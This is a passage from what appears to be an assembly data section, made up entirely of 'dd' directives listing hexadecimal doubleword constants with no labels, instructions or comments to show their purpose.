0B3F0CFD6h, 32E7C347h, 7D110259h, 1615E9A7h dd 0F6408DBDh, 3628C90Fh, 8DDEFB82h, 70DAEBACh, 55BAF661h dd 159E8A8Eh, 690D1586h, 8BFC32Ch, 94BD86DFh, 0D81AB1BCh dd 9862C78Dh, 4AA1E975h, 834908A1h, 99F778C4h, 0E81AFE35h dd 0A42A6868h, 0A8F5690Ah, 8D18930Ah, 99C64636h, 3D020ACBh dd 0DC1997D9h, 5715D09h, 5DD31ACEh, 0C9648DB7h, 3CBCBC35h dd 0B13510C2h, 71F9E52Dh, 734F1E16h, 1BFC20FEh, 47EE9F87h dd 0C232B5EBh, 29410CDEh, 84100BADh, 82E6DCA6h, 0A850B236h dd 7CA9EB20h, 0C59A4EBDh, 0A0CB7FF6h, 0A43276BFh, 689F6536h dd 0CB4C7CD2h, 3413931Ch, 0DF63FD8Ch, 0D2BECB9Fh, 4D8E626Fh dd 2919A6D9h, 138259BFh, 341C146Ah, 0EB00AF63h, 6403D4CFh dd 14F87365h, 0F2EEB4CBh, 7256F9BEh, 0B2E00BAh, 0F9D6A15h dd 5AF1F789h, 34873ACDh, 1D72400Fh, 482CADD3h, 969D7FABh dd 940CA864h, 0B6A41E2Fh, 724581BEh, 5646B0EAh, 9ED47540h dd 0D8091422h, 0ADA8DA8Bh, 0B4297A86h, 91493B3Bh, 0D20D1F0Fh dd 3B0916ABh, 0FCC6E530h, 4F909871h, 0C3B7F621h, 0CBDEAEB8h dd 0A38AA12Eh, 5F3BEC22h, 0F389465Ch, 174B85A8h, 83055E3Ah dd 455569E0h, 49214B2h, 0B46224EBh, 7A39E346h, 0CC127D1Bh dd 30992229h, 63D8DABFh, 0B5FE8D7Bh, 97AA1A06h, 291CEB45h dd 2B2C5FB1h, 0CC80D9E2h, 0F0CC264Dh, 58BEC3EBh, 0CAE7042h dd 7BEC0226h, 0AE678FF5h, 5EBDEE63h, 7412736h, 7E40987Ah dd 0CF92C1C8h, 476A3B26h, 0A3792286h, 824C22FEh, 2B1285ACh dd 0E6C7C449h, 43EF3740h, 53024117h, 7079EE26h, 0E4F6220Dh dd 0D6FEFBC2h, 5713C655h, 5B6005D0h, 84A088F6h, 94BB7A6Fh dd 0D927332h, 54409E48h, 0ED36524Ch, 0BEE56E2Bh, 11664B1Ch dd 0C6CDE1E3h, 0E14A0922h, 5A924A26h, 139D260Ch, 44F08955h dd 221BE9C0h, 5389C7D9h, 0DBE6E070h, 254BFF75h, 98340627h dd 0C647BCDDh, 0E8BAC837h, 670F6E86h, 9DBF582Dh, 0A67B7242h dd 0D2F74B93h, 0F76FF2B8h, 6ACAB7BDh, 0AA78821Fh, 6F53176Ch dd 0A77C14Dh, 583CE3ABh, 0C31C210Dh, 9F7AA0DCh, 2237CB54h dd 0C361709h, 3DCE7510h, 8482E3F1h, 4EFBC941h, 1DD8E1A4h dd 3D1541BCh, 0ED43AEAh, 0C75CDB90h, 7FE1FB40h, 224E4AD6h dd 0CC33D9BDh, 4168FFBCh, 314932DFh, 0A35CE7E4h, 0CF7DB74Ch dd 15050C81h, 0D0D48A58h, 98E4C0DFh, 0C00C1A5Dh, 0CBFA0B63h dd 3E70056h, 9954A0BCh, 8B675581h, 7675D7B4h, 0A6B307C0h dd 58665137h, 0A661EF70h, 7AFD36CAh, 0A8761EBBh, 0B1891318h dd 32C3EC85h, 0B58D3859h, 22F675D7h, 0DC8CE267h, 4578EAB8h dd 1ED79163h, 0C4491FECh, 0A490EE27h, 76E2D64Fh, 9D5A39F9h dd 2830B492h, 68C30164h, 5611EC0Dh, 0B2994334h, 35348BFDh dd 0A72F0E53h, 75F9E406h, 8EE72E2Eh, 8B4FE1B4h, 0D3CE9931h dd 0D97C8137h, 11BB46D2h, 40B05998h, 48CA3F8Dh, 3E684C7Fh dd 3B06C78Bh, 1CCDA6FEh, 0AF1B2DA2h, 0A8494AD8h, 0BD26EE19h dd 0CD7A275Ah, 0F4AFE918h, 0B9B11B0Fh, 7894BF7Ch, 0A39402EFh dd 3974D48Fh, 947DC0B7h, 1D70764Fh, 50F0D6Ch, 0A411D877h dd 1B1B6554h, 350BBC64h, 0F978C171h, 0D4BC8489h, 57ED05BCh dd 0FD0A7996h, 9F12BBFDh, 0F05C8091h, 6915894Ah, 0C32B4DBFh dd 0B2B82C76h, 560F4959h, 145DA766h, 0B4214B76h, 0AFD49E3h dd 2BBF3275h, 2AB7EA28h, 0F3FC14A4h, 24C6FC2Eh, 3AF90B03h dd 0ED543AC5h, 9C500FD2h, 7C3ECB08h, 45E029D1h, 4F34AEA9h dd 6EC6F149h, 28C1753h, 0FC1DB36Bh, 0FD2B2365h, 8B35079Fh dd 0CA9DDC7Ch, 0E659718Eh dd 33A19A0Eh, 0FDBF5D94h, 0E35C312Dh, 61044D7h, 2BE0EF59h dd 558A2A7Fh, 766956D3h, 0E9E5649h, 1D7D43B0h, 945811EFh dd 1F5545CFh, 7242D236h, 473E0B89h, 297288DFh, 0FB770022h dd 0E77280E3h, 0DF29D53Bh, 32F79715h, 0F621FEEBh, 0B9EC9FBBh dd 0DBE31D4Fh, 0A885B39Ch, 246B8F6Eh, 0BA16730Eh, 0DBD2FE2Eh dd 0CF69E7CEh, 1B729B4Dh, 483A5204h, 0A40C7E0Eh, 56E336B5h dd 56504858h, 54A737A0h, 0EF3CFFC9h, 0F91AD202h, 0B6DD0EACh dd 4958B5F2h, 40F41DF9h, 0D9681804h, 0D1A2CFAFh, 0E5D3AFEFh dd 4E852E08h, 0DBD5A64Bh, 0F09313EDh, 62030970h, 473F7620h dd 48F53B06h, 0A64BD69Ah, 73D53BF2h, 24F69E12h, 0D7724DA6h dd 503C2Eh, 0B08846Fh, 0C4B36423h, 0E214E6E9h, 641F0DF7h dd 88496EC0h, 0C24F1432h, 0FA75A2B2h, 4B251B86h, 5DB83D41h dd 0BF11F4A1h, 0E6FADD41h, 7DB0EC90h, 0ED46DC78h, 11D11E28h dd 0B75F6125h, 0F4800A25h, 0E51F2524h, 93596CD4h, 0E7F718F6h dd 8232ABC7h, 1DF832B6h, 3B902FFBh, 6A77141Bh, 0A83E98Fh dd 36753B07h, 5C2B2779h, 0E03EE837h, 8A6B56EDh, 0DE61104Bh dd 61763AF8h, 1FC25FA1h, 6183C217h, 0E1276F3Ah, 0F4611028h dd 6E57B58Dh, 0B7429F54h, 0DEEFD7D5h, 226120AEh, 3A5EE9AEh dd 6AD1B5C4h, 7EFFF21Eh, 802B0E0Ah, 1EE18BCCh, 6804B647h dd 93438EA1h, 5FA0DC4Eh, 961449CFh, 0E74EA914h, 99FFA15Dh dd 0A64D6C10h, 0ECC52BF6h, 19527E79h, 0AFA2F167h, 77DB5AEBh dd 65EF441h, 0F40C0C88h, 0AD9C3655h, 0F319B8D6h, 9DE49DEEh dd 5E35D28h, 2639EB1Dh, 43A96345h, 0A9408A3Ch, 0E5A14B4Eh dd 80FC9334h, 0E586A08Eh, 0F0742B35h, 1D46450Bh, 0DD3393AFh dd 0C0B2C0A6h, 0E33D0431h, 4AE74CC3h, 2E8CE8F4h, 0D5231CCBh dd 0E4D8DF1Ch, 418553A3h, 0D7E8F7FAh, 5F7B7132h, 0B912B389h dd 0EAC1E2E7h, 170E4AFh, 0C5533402h, 70B352BBh, 13BB8D91h dd 96096DCCh, 0F36E7A4Ch, 6BAFEFD0h, 892B0E93h, 3425703Bh dd 57F0D6B3h, 3BB8ED20h, 0FB0A743Ah, 2807D8FBh, 7D54B2B1h dd 6DB35E63h, 0A4637F42h, 0B2BC6E74h, 0AEEFFC7Bh, 41320018h dd 34187212h, 0AE8E3E08h, 8046FB95h, 7D284DDCh, 5EDDB3C9h dd 8CD3361Eh, 98DD5335h, 0CDEE8B7Ch, 3C0F1236h, 0EA7F0E4Ch dd 25067885h, 40257F27h, 45E744B1h, 521A4E28h, 0B9A0059Dh dd 927AB03Ch, 58446414h, 1AB3583h, 2112D5BCh, 6CDC0C41h dd 0E22602F6h, 5114A85Eh, 18279FD1h, 401E04D9h, 0BB3B83FAh dd 86E39E26h, 0F45DAF1Fh, 668D368Bh, 30975167h, 62D92B74h dd 4BBB525Eh, 28FAC287h, 556598B4h, 0E76163DDh, 0BEE16515h dd 5736076Ch, 0C15299ACh, 3659347Eh, 0BBC4A47Ah, 0CF3D42Bh dd 71CF08B4h, 65798F3Dh, 0FC05B476h, 3434933Dh, 0EAA5F207h dd 23F9B319h, 41991A19h, 7C4B8F8Bh, 0F0D293C8h, 7042EF1Fh dd 0B464F702h, 0B85D9A5Ch, 53101929h, 0FBB4A813h, 76CBAF7Ch dd 1F35CBACh, 0E792373h, 0F98BDAE6h, 698E949Fh, 644B3474h dd 10D7DA34h, 0FBA36B59h, 55B39C9Fh, 0EC5E697Dh, 575F392Eh dd 6B4527DEh, 0DCEB2355h, 0DDA364C3h, 84943961h, 0EE9106h dd 26FAE343h, 0C3FCC0F9h, 0F97E444h, 512C971Eh, 0D2F0E470h dd 0F55102DEh, 6121F8BFh, 0F07339CDh, 3A9A99FCh, 62685575h dd 3CDC8FA6h, 120039C1h, 3DC00A9Fh, 0D6A968CFh, 3A167DE9h dd 0CAE8D8Dh, 934750C5h, 0BC0E43C5h, 74E03649h, 0B4B26D53h dd 830C5652h, 7D36166Dh, 13C3B9BCh, 0E849C329h, 0A16C9370h dd 553A5B59h, 38A1C265h, 4B2CC8B9h, 4DE5CAF5h, 0BCD453B6h dd 6A4AEFC0h, 0A2FFBD81h, 8424DEAAh, 1359918Bh, 6284A8D9h dd 0A657E6D5h, 0CF20461Dh, 0E6A8990h, 175EEF82h, 0DC25D235h dd 0A7E0E543h, 26942129h, 3D1C0721h, 780AD930h, 626C1581h dd 0BB2A05A1h, 0CC271317h, 5D236FB6h, 0EEE5B5C8h, 5243BA95h dd 6C2F30DEh, 12E4B967h, 0DB43CB6Eh, 0FD4E8694h, 9671BBF5h dd 7BA3FD5Ch, 0D7D91238h, 47B48ACAh, 7DE468A2h, 0CAB30C73h dd 62E3DCCFh, 1C1AF34h, 71E328B6h, 1259B300h, 0DF58CBCEh dd 0F8FE2A8Eh, 12030193h, 0E0D341CCh, 0DAE87452h, 0B98386F2h dd 718E2405h, 831BC77Fh, 8E3C3872h, 0FAF595F4h, 75A65EA9h dd 6304A874h, 8081D349h, 2C641EF1h, 8555B698h, 98906542h dd 8589CBEh, 991A8C6Eh, 0BA000DFh, 0A2B8117h, 0C7BA472Fh dd 1A60631Dh, 95BF6FB9h, 0BF12D828h, 2FFA0A8Ah, 0C279C6Ch dd 52B9E3A2h, 0F5F57030h, 62E2C318h, 536B291Dh, 66BA2280h dd 4C52959Ch, 0CDA94A7h, 7302C630h, 0C2227944h, 7B3D513h dd 0EE652465h, 0AA76B84h, 0A9560ECFh, 338B26CDh, 4F362CBAh dd 4044E2EFh, 0C993550h, 0C2F017BBh, 244633F5h, 0C718ACA8h dd 10053C83h, 0A2F18092h, 9A4602BFh, 901AB475h, 58B6CC36h dd 0D7315686h, 68DE174Ch, 0B844DB56h, 68AD6AFFh, 4C2B9C80h dd 44347Bh, 0FE83C0EBh, 0BC350F59h, 0C1720EAFh, 9E8FB061h dd 3753C000h, 431C0FE9h, 6B522A6Ah, 73217071h, 6796DCAh dd 8C8B3724h, 0A6AF81h, 9C162D44h, 61BBC892h, 508E807Dh dd 1E96382Eh, 9D7AC8F2h, 2B996A2Dh, 0D2A018E8h, 0AD64D7B8h dd 6916500Bh, 82842A65h, 4E707275h, 0B046E148h, 33BF5340h dd 6BF22130h, 1FCD4F53h, 0C0C11C6Fh, 37C9060Ah, 86477C13h dd 0AFC6E6D4h, 1397EA60h, 99557F56h, 871863E6h, 0D1344A3Ch dd 4718ED8h, 3D33E25Eh, 71E54D75h, 0E24378C5h, 0E8B91FF5h dd 0EF06BEC7h, 2ACC1285h, 1C741887h, 0FB1D5269h, 4B6F74Ah dd 3934EFBBh, 0D57211CDh, 32547263h, 844D5297h, 0ADA9CFC3h dd 7D4FCDB2h, 353A13FAh, 3F9DFC3Ch, 3328DAB4h, 0A599B8FBh dd 0CFF3BC7Eh, 251114B2h, 5074F936h, 0D50D11E2h, 41B23EC5h dd 0B6D6FFEDh, 0FC6F413Bh, 0A53B56BAh, 0FA1FAF6Fh, 0F9133A4Ch dd 559733DFh, 8308AE62h, 1F386420h, 0B4BC0A74h, 84C965B1h dd 8C49B9F3h, 844310CDh, 49D44C20h, 0D19F77D4h, 2E25288h dd 0DA084188h, 8F3BCD07h, 0CECB1A67h, 88F1FE7h, 8E39FA01h dd 0C4BD2B3Fh, 0CDD07BCDh, 0B15C15BAh, 0F531BB38h, 42698A37h dd 2B15E38Fh, 8FC22EE1h, 5532D321h, 7ACC2723h, 0F712E1C3h dd 713F6AC7h, 0A5A98FB5h, 8C9628A3h, 97CCD7F2h, 936528Dh dd 0D357E70Ah, 0B3EBA90Dh, 5E5A785Bh, 0B80B7184h, 47BAD4DCh dd 0F5A9D786h, 283F00E7h, 0B4536A07h, 9A86AC43h, 4EEBAAAEh dd 0FEEF4999h, 3F41FC8Ch, 30E704C6h, 89B68A3Dh, 659F91BCh dd 2B87E89Bh, 585FED94h, 0CE43F3CBh, 0E95B6F8h, 118D50AFh dd 0A6F94341h, 2312F930h, 7855CCB8h, 371A6ED5h, 3C661CEDh dd 622EB969h, 78A4D86Bh, 4473D58Dh, 0E062760Ah, 2F8F7C49h dd 0CD680DC5h, 99028B1h, 0BB598C30h, 55C1FA5Dh, 5E8BFE9Eh dd 43B13E12h, 68C688E4h, 8666CD1Fh, 72A2A22Eh, 9837F2DCh dd 28FA0938h, 804E786Dh, 43D93A2h, 6C30CF45h, 4BC7AE50h dd 32BB06FCh, 0BC2C4C5Eh, 0AF812ED0h, 0BD3788BEh, 18A2D770h dd 0AD125B3h, 66C92303h, 67E4CB52h, 6F95A32Ch, 98863EDh dd 0BC427730h, 0A9376C1Fh, 4DB534F2h, 597040DBh, 0B000D72h dd 303A7BCBh, 0EC6BDEBBh, 0F5498A42h, 0F57FB520h, 4AC2B19Ah dd 0AB0B8D8Ah, 0E77CB739h, 29D14792h, 0B10245EEh, 0EF217F21h dd 63F84225h, 864283F0h, 78D8A88Eh, 0CA0C8E7Fh, 9B3ED586h dd 3E1001DAh, 9AA3EA26h dd 202689B9h, 0C1B6C6B5h, 8E3C79CEh, 1CE9717Fh, 0FAB0A5F3h dd 5910EA59h, 0F082717Ah, 63C7CF33h, 0ED095EDBh, 5225676Fh dd 0B572D9DEh, 0BC7D58E9h, 9DB911B5h, 0CCA418F9h, 51AC403Eh dd 6B494416h, 0E326114Ah, 1095C1A2h, 0E970AB0Ah, 1A903A06h dd 30A53BD5h, 0E56F6B7Bh, 93208411h, 0AABD086Bh, 0AD8977CCh dd 0D360313Ah, 1CD46AB0h, 3380F011h, 0AD15015Dh, 1C8D9537h dd 2E9BC519h, 0D93A8AD8h, 311B76C6h, 0A95662B8h, 9944B4ADh dd 0F3EC1BD6h, 19A37A5Ah, 38715A1Ah, 0FE8A551h, 0E4D58867h dd 0F2F903E7h, 5F533C88h, 56D80820h, 5FC7505Dh, 697B9160h dd 0B36C6F1Fh, 94A37DFBh, 0C568DAA5h, 5987DBBAh, 5CEAE40Fh dd 9B7AD59Ah, 449A6B42h, 5D752C5Eh, 0DB17ACB5h, 0B1F833DCh dd 0BB1D3683h, 6C468FA9h, 8C0E31BFh, 0AC5604DEh, 958E48CEh dd 0DFA43238h, 0AD98C1DDh, 6D8D77E8h, 54A5A942h, 0FAE4CAADh dd 0EF9994C2h, 0E5740D73h, 24011916h, 7ABD24B8h, 0F47941C6h dd 6BDC35F0h, 0FFDA8519h, 41DB949Eh, 0E21406DBh, 0F2DA8410h dd 380B49E2h, 311E94FEh, 415D78F2h, 0DFB6D1h, 67841FBFh dd 107098Eh, 0F1985BE2h, 5C93642Fh, 0A1BF7EC4h, 96264E0Eh dd 4A80B71Dh, 43EEF9EEh, 7472DCDFh, 0FFDE04E1h, 0F5CEDD0Ch dd 2A702D7Eh, 1F49A546h, 0D5F7F6A9h, 9E34AFAAh, 1FB2E820h dd 66EEF409h, 72E9DEA1h, 0EB49437Dh, 0C67E7955h, 5917BA24h dd 5CF83DAAh, 499F43D2h, 31B1910Fh, 17D7E1E3h, 0B61728F5h dd 65482D79h, 982A36F0h, 760341CEh, 0B5ACEAD3h, 94E2060Bh dd 9D5AAEC0h, 871FAE52h, 0ECE9793h, 869DC497h, 0C113DC9Dh dd 13F3EF51h, 3DE0520Ch, 0CB564715h, 95D92445h, 0AB707B00h dd 929D57BFh, 36986CC7h, 78C03726h, 1A597FF6h, 55195FB5h dd 55A862B0h, 83095700h, 33E7D9E0h, 54E7A90h, 84C3BAADh dd 442D3431h, 6161977Dh, 0C36220B0h, 9C521CB4h, 3C73F326h dd 97E2EE06h, 9982F0CAh, 75B60C91h, 4BD35ED6h, 0F8F2D696h dd 0E251BF3h, 18F9845Ch, 0D77ABE5Dh, 3DF26A0Eh, 0DC78117Ah dd 4842BD9Bh, 0E98CF87h, 1B395D0Ah, 19874A7Ah, 0EE274DE7h dd 16C12D97h, 48FE81B7h, 0A104113Dh, 8F3E72C3h, 0E15BF7FBh dd 2DFF380Fh, 6A298F49h, 1F33D34Bh, 4AB3321h, 210D06DEh dd 0E33595D8h, 0AA7DE73Eh, 0EC932EB2h, 0C1152B78h, 5FD4D56Fh dd 9B220F35h, 19EFC4D0h, 4AF33681h, 0E8C8D93Fh, 511D84E1h dd 24C2004Ah, 0C5C0AE38h, 4622651Dh, 0CB7AAD2h, 48F6C9B3h dd 0AF4C1023h, 849F1E28h, 0C19BF21Dh, 70F0B9EAh, 9BC7BC24h dd 329B0246h, 0D347F3E0h, 0F5242F32h, 7D30EA49h, 14496F2Bh dd 2E071F69h, 9E11A7A8h, 0AF7F682Fh, 84302B3Ch, 0D0FEB056h dd 2E98CB77h, 7B31DCB8h, 0F4AEDD61h, 5041C17Eh, 0A5E6CF8Eh dd 1135F345h, 4C3564B5h, 0AE9DF02Fh, 3BE389C7h, 0FB6CDF71h dd 1C0C63ABh, 0FE055AC2h, 0BAB0E892h, 8FE7882Bh, 40F7788h dd 0EFEE8462h, 0D45A9F68h, 352A8867h, 9DCA240Eh, 0D9EA9ABEh dd 0AC90CB6Eh, 0D967BC4Ah, 6408ADC5h, 34DD8733h, 56E6EE64h dd 0EF85D722h, 751EB783h, 805724B6h, 2158B2DCh, 952D69BDh dd 731AE9A8h, 84E8608Ah, 0AFB622BDh, 9F10C803h, 40DE7B31h dd 0D1E54C45h, 864362D2h, 0C0088EAh, 65319753h, 52CC4B10h dd 96307CBEh, 270DD11h, 0AF765323h, 0B36447BEh, 3BC47CF6h dd 883FBB85h, 8B36C048h, 2D7FD0C7h, 0B5B45813h, 0EAC00DB2h dd 5F80AA7h, 0AEB4C1A0h, 0FA9232E5h, 200A4DADh, 0F4BA4B8Bh dd 10DA2C36h, 0B47DB07Eh, 0A57FB168h, 9512F221h, 3FCA1794h dd 0A792BD7Fh, 0EC8C9276h, 0AE08E04Ah, 16810778h, 4370D02Bh dd 44EBA87Eh, 0C9FB8928h, 0CDB73F99h, 4F0AE961h, 7E8F15F7h dd 0AE829132h, 101B4EBDh, 0D71C1882h, 40FF8326h, 0AE54C222h dd 784872A9h, 0D989ED14h, 0C90B375Ch, 4BB9E76Ah, 0A93C7942h dd 0CEF2028Fh, 22978F53h, 0E319F777h, 4BE69F7Fh, 38BC7678h dd 89BDDF1Bh, 0A259D3C8h, 40FF84D1h, 0A730E335h, 0AF2004A7h dd 39C078Ch, 0E3147A49h, 1BD3EEDAh, 9F8ACD4Ah, 0BC894057h dd 34D3C842h, 0CEB4E9A9h, 6F707404h, 0FB30620Fh, 0EF0C4F04h dd 0E6929263h, 0EF13B56Ah, 9E22C808h, 9CA4CB59h, 5CC61FD9h dd 3A59DCE3h, 1032553Eh, 4AB6C9FFh, 8FC18A39h, 0EE70D1B7h dd 0E5709445h, 0F405EE19h, 0AA9A8194h, 3C4BDC8Fh, 4A1125CBh dd 0D1E6F83Ah, 45DB9119h, 4BBC10F3h, 0CB96AF6Ch, 0E35A9A31h dd 0B831A917h, 5033F306h, 5D47F060h, 1DD979FEh, 0F7C04289h dd 9E672B40h, 0E813AB56h, 825B3E44h, 9A5C7191h, 5359985Ch dd 0E59F6BCCh, 25DEDE18h, 0B5E6F21Bh, 0E520FBC1h, 2A2E8BA5h dd 0BC7C4F39h, 2F875051h, 98AAA9AFh, 0C5DFAF2Ah, 9AFB5CD5h dd 0E7623876h, 4E51CCAh, 1803985Ch, 7EFD2EEBh, 0B549A078h dd 0FF22CF0Bh, 0B29AE7ACh, 925C4C97h, 0BC78E3FFh, 92E7394Fh dd 404C4237h, 5C7B2C58h, 5CC741D6h, 0E3E75586h, 0A992C34Eh dd 5F2DBEAAh, 0B4B42BB9h, 748EAAB5h, 8624C1AEh, 7E6775FFh dd 0A644BAAEh, 672A8D97h, 541BC4A4h, 557274AEh, 0C6E10A9Ch dd 39CFA7FEh, 31EA3045h, 2181BBF2h, 977CF391h, 0E8A21D48h dd 14F5FC02h, 0E43EF731h, 80663847h, 29434A82h, 0CB4EC626h dd 7B767BB8h, 8C857AD9h, 427732CBh, 412F80F1h, 3A62BC13h dd 0D82C4C7Dh, 6D15F901h, 42161F55h, 71C1958Bh, 903E741Ch dd 63D3C2E7h, 0EE310E23h, 89CA2F71h, 0FDE54466h, 26556E49h dd 3C4B5450h, 40219180h, 0C042FA60h, 0B903D3A7h, 70D701FFh dd 5DBD1BB1h, 3B92E26h, 0CA1AEE2Dh, 4A697344h, 0B2B4189Dh dd 58988849h, 0E2220150h, 874A1329h, 59AC9104h, 0F6D7279Ch dd 7A9812D3h, 17D5FF63h, 3C58EC83h, 0FA488964h, 33B22EFBh dd 2B893EB0h, 29258Ch, 0FD82523Ch, 10425DF1h, 244AC94Bh dd 0D664609Dh, 9C82E40Dh, 0C0EE9BCFh, 23E7459Eh, 0F2070484h dd 59B4419Bh, 9B120AFDh, 0E89CE95h, 30A6AFD1h, 0A88D427Eh dd 74B4DA6h, 217F7245h, 0A7B7C480h, 0A802C07Ch, 3A2E535h dd 0B8CFA33h, 0CE6635EFh, 48B530A3h, 0EE2B5059h, 0F33C633Ah dd 0D66892DFh, 0A1E1DE1h, 0F30A7E53h, 29342583h, 7CFE9112h dd 8CC79098h, 780C433h, 0E0928904h, 66F8810Ch, 81C3954Eh dd 9DB558DDh, 4E514F37h, 1D45485Ch, 2082DB4Ah, 0CAC91F50h dd 750416CAh, 75A2F0B0h, 1AD6B436h, 0AA9C3AD0h, 0B28EFE34h dd 0CE824DA5h, 0A3410731h, 68CDA65Ah, 4DAF6882h, 0BE0F61E5h dd 3E7E7A5h, 0C7E21E66h, 8CFBD3Bh, 0CDF04F2Eh, 7786CEC5h dd 8A6494DEh, 2F2262F6h, 32E7BE79h, 859903AFh, 9EF682AFh dd 4489DECAh, 0A35C550Bh, 0BA1FE434h, 760039F1h, 86474CF3h dd 0FD9A766Dh, 67CA58A1h, 0D05E69F4h, 0F501F434h, 3FF0D62Eh dd 0DC53FEEEh, 4D9AD455h, 4A943C52h, 81B430CAh, 0D766E1B2h dd 0C7DB3E1Ch, 0A63E9502h, 544D145Fh, 971FBE6Ah, 62C022EEh dd 19F7F480h, 43C2E94Fh, 0B551143h, 0CA2B8E34h, 84A660D9h dd 0D27B879Fh, 678F9235h, 395C8962h, 8F21C089h, 9EE85EC2h dd 7E188F68h, 749FDB2Dh, 1E729934h, 0CAC7564Fh, 1DD1F6D2h dd 0C4EB122Ah, 325454B7h, 9C9F45F4h, 726A5E8Fh, 4C260F06h dd 12AE3563h, 18BB881h, 63706573h, 76251D7Bh, 69AD5282h dd 0AC1A6CC1h, 0BD60599Fh, 7B9D3C34h, 41D5BC0Fh, 490E6BD6h dd 0E6F09BF1h, 0B38447A4h dd 84AEF4D7h, 1A5866E2h, 0A20101DBh, 900DC332h, 0A677CC31h dd 75D7E6F2h, 0B3C8C2E9h, 35A8A15Bh, 0CF2D2635h, 0E946EC38h dd 0EE7FEA9Bh, 19D37282h, 0C03F19E5h, 65C5096Bh, 0CD0B560Ch dd 4E4D3911h, 0D1B90CF9h, 0AE0BD613h, 0E426AB5Dh, 75BB7291h dd 0A5490502h, 269776B3h, 2FAB5ECCh, 70AF01A6h, 83CEAD11h dd 0A5AE1C2Ah, 0F3D7340h, 29E0AA9Eh, 0BC366CD8h, 246A0D9h dd 92647F12h, 0FD6858BBh, 0BB7ED6CDh, 346C3031h, 0C8872577h dd 3214104Eh, 0F755F8Fh, 0F1B834B6h, 448FB2B0h, 0A8122673h dd 507B4F41h, 0DC999A0h, 21AF730Fh, 0E8214B7Eh, 126AD8CFh dd 0B2D001AEh, 84CC2C88h, 8D1EA934h, 0D0FD697Eh, 8E841FCAh dd 63B2CBBh, 62E1C659h, 871DA56Fh, 32E5D31Eh, 1D7F7260h dd 7BEC5CAh, 0DF6DAFD5h, 41011C94h, 0B74FDFD5h, 0E7FBBECAh dd 5F42EEE8h, 277D6785h, 5A26ECB3h, 8688BC34h, 0A78EF8ACh dd 0F871C5B0h, 43BFFA1Ah, 0C89BE654h, 0B6D0A5A9h, 666EC1DEh dd 0F724AB7Dh, 2111B0F5h, 0FE9F8C74h, 107A2BD4h, 7E16E189h dd 0B4880352h, 8983F3FDh, 0B720CDBAh, 472F8831h, 1E2C27E2h dd 9428A83Eh, 6D8E0EF6h, 2E8E246h, 0E018CDCBh, 6F56A5FFh dd 0AE3F2ADBh, 55F7AB7Dh, 0F79B67CFh, 0D476AAB0h, 650BFCF3h dd 0C69A3BF2h, 97B15D1Ch, 0B3A38CD6h, 0C3DF8CA9h, 30AB0FADh dd 0D0898739h, 2367DCBCh, 0D3D60710h, 0C26437ACh, 220262A1h dd 66E51BA3h, 7A156AB9h, 2DA75CF9h, 8A32D33Bh, 6FDD8314h dd 0E28CA303h, 6A017BFDh, 72A2A16Fh, 0A9ED2C21h, 18F6A138h dd 0F6884766h, 28501313h, 0EC6D9691h, 0A3B8DD9h, 380AD33Ch dd 7FB6E7CBh, 132C8707h, 0ADC52C7Dh, 3F50D9DFh, 876C27BEh dd 49D1D679h, 0D74E35D3h, 2F2EF3DFh, 0F386EA42h, 205A7EA5h dd 1972A4FEh, 884215D0h, 4D439198h, 569208B8h, 0CFCCA4CAh dd 0AADBDD21h, 102EF83Eh, 0A5B2C4CAh, 9A58A58Fh, 519FAFE9h dd 719BB271h, 39D26C5Ah, 0A20D8726h, 0D731E6F1h, 997EF338h dd 4F9E7BF1h, 8069D19Eh, 84C2910Ch, 0DFEE3E49h, 2E6ECF0Eh dd 0C48F6DCBh, 0A97C6200h, 780E763h, 0B8821096h, 8DB073Dh dd 6D9FFE63h, 9CFC529Dh, 51ED5A51h, 4A4690B3h, 7D893833h dd 0D341C6EFh, 3FC9E410h, 0A850B7EEh, 0AE9F3E05h, 95930A06h dd 0A0FD9F39h, 19F42050h, 1174BDACh, 72CD9F27h, 6E91D74Fh dd 0B4525D98h, 464DC875h, 0F68877A6h, 0ABAD9CEh, 0A08164E2h dd 0CBC90BC4h, 5A472B93h, 60D4A1D1h, 6BF5E03Fh, 66418D4Eh dd 44D78251h, 7DEC5466h, 3D14A28Bh, 0F7B40A77h, 0F144A500h dd 2BF33121h, 0AF59EBF0h, 82784F26h, 53A2079Bh, 0DA692EEh dd 1ACE0B88h, 0F01C44D2h, 2846C5D8h, 173D6276h, 1744B573h dd 0E51397A3h, 3E100851h, 0B0FA55B9h, 248ADDE1h, 0F6D6F052h dd 0ECB1EFDBh, 0EF760CF1h, 1D166686h, 153EB08Fh, 650061D0h dd 0B2037565h, 864D726Eh, 94EB56D6h, 0C004E38Ch, 8A25BADEh dd 108B5AC0h, 21CE2C0Ah, 5766CD94h, 32FF3BE7h, 0E1F42C24h dd 0D2F0153h, 0DDA76615h, 7FEA6138h, 0ADC654CFh, 65724D84h dd 195F1649h, 0C428601Dh, 318296E7h, 70D738F4h, 3F48C65Ah dd 0DC3CE858h, 503BF7E2h, 5763DB83h, 0A1CA6B53h, 0F15A67DDh dd 0D5A38D77h, 0CED474BFh, 0BDE66824h, 2CDB70DEh, 5C50EC59h dd 6664F993h, 6ED6E0C2h, 0E9864FC0h, 0BD0565AEh, 0B0F2F84Ch dd 18C7C117h, 0AAE4B3A7h, 0FBB37EF2h, 0F6EDE031h, 7149235Fh dd 9DA1EECDh, 0B1186C26h, 0A569B988h, 0ADAA07DBh, 0F5CCAFE6h dd 0DB1EA4Bh, 0BAFAB935h, 7DE1E0F5h, 0D14C408Fh, 291384Dh dd 73FC9215h, 1595C005h, 83823768h, 3731187Fh, 100BE2E8h dd 5029F221h, 2B8FC93Bh, 95A9C209h, 970AEFC1h, 7E79577Dh dd 9008B77Fh, 6DBE2053h, 0BF2FDC3Ch, 66367FA6h, 80CDA809h dd 0D3F14FE0h, 0D7AE6B4Eh, 34DEDCF8h, 0F82206E5h, 95D6F163h dd 2A0E8FBh, 5FD83E22h, 6E94BD32h, 0FB0FF881h, 0BE246295h dd 0FF0AA9B1h, 20E192D6h, 0F293753Dh, 0FD4C88E2h, 9ABCC00Ch dd 0F8F9F50Ah, 3405DAB8h, 0C7B6B435h, 0EAF975AFh, 0CBFECE63h dd 670B4B56h, 6EB4372Fh, 2867B877h, 0B9442BFAh, 50B38103h dd 83B043B7h, 62517D15h, 98EA4295h, 6A6EF38h, 0D46E7DE5h dd 0A501A425h, 0FD066CC1h, 0A96B931h, 68F19AF5h, 0B3048393h dd 4E4DF580h, 5A326673h, 0A9146F7Ah, 0E38EEBF7h, 0E4C512B1h dd 0AA33FFF4h, 76FEFAD9h, 0BC6A1E30h, 3110CD82h, 13CEE53Ah dd 964ECBDEh, 0E5B7DE8Dh, 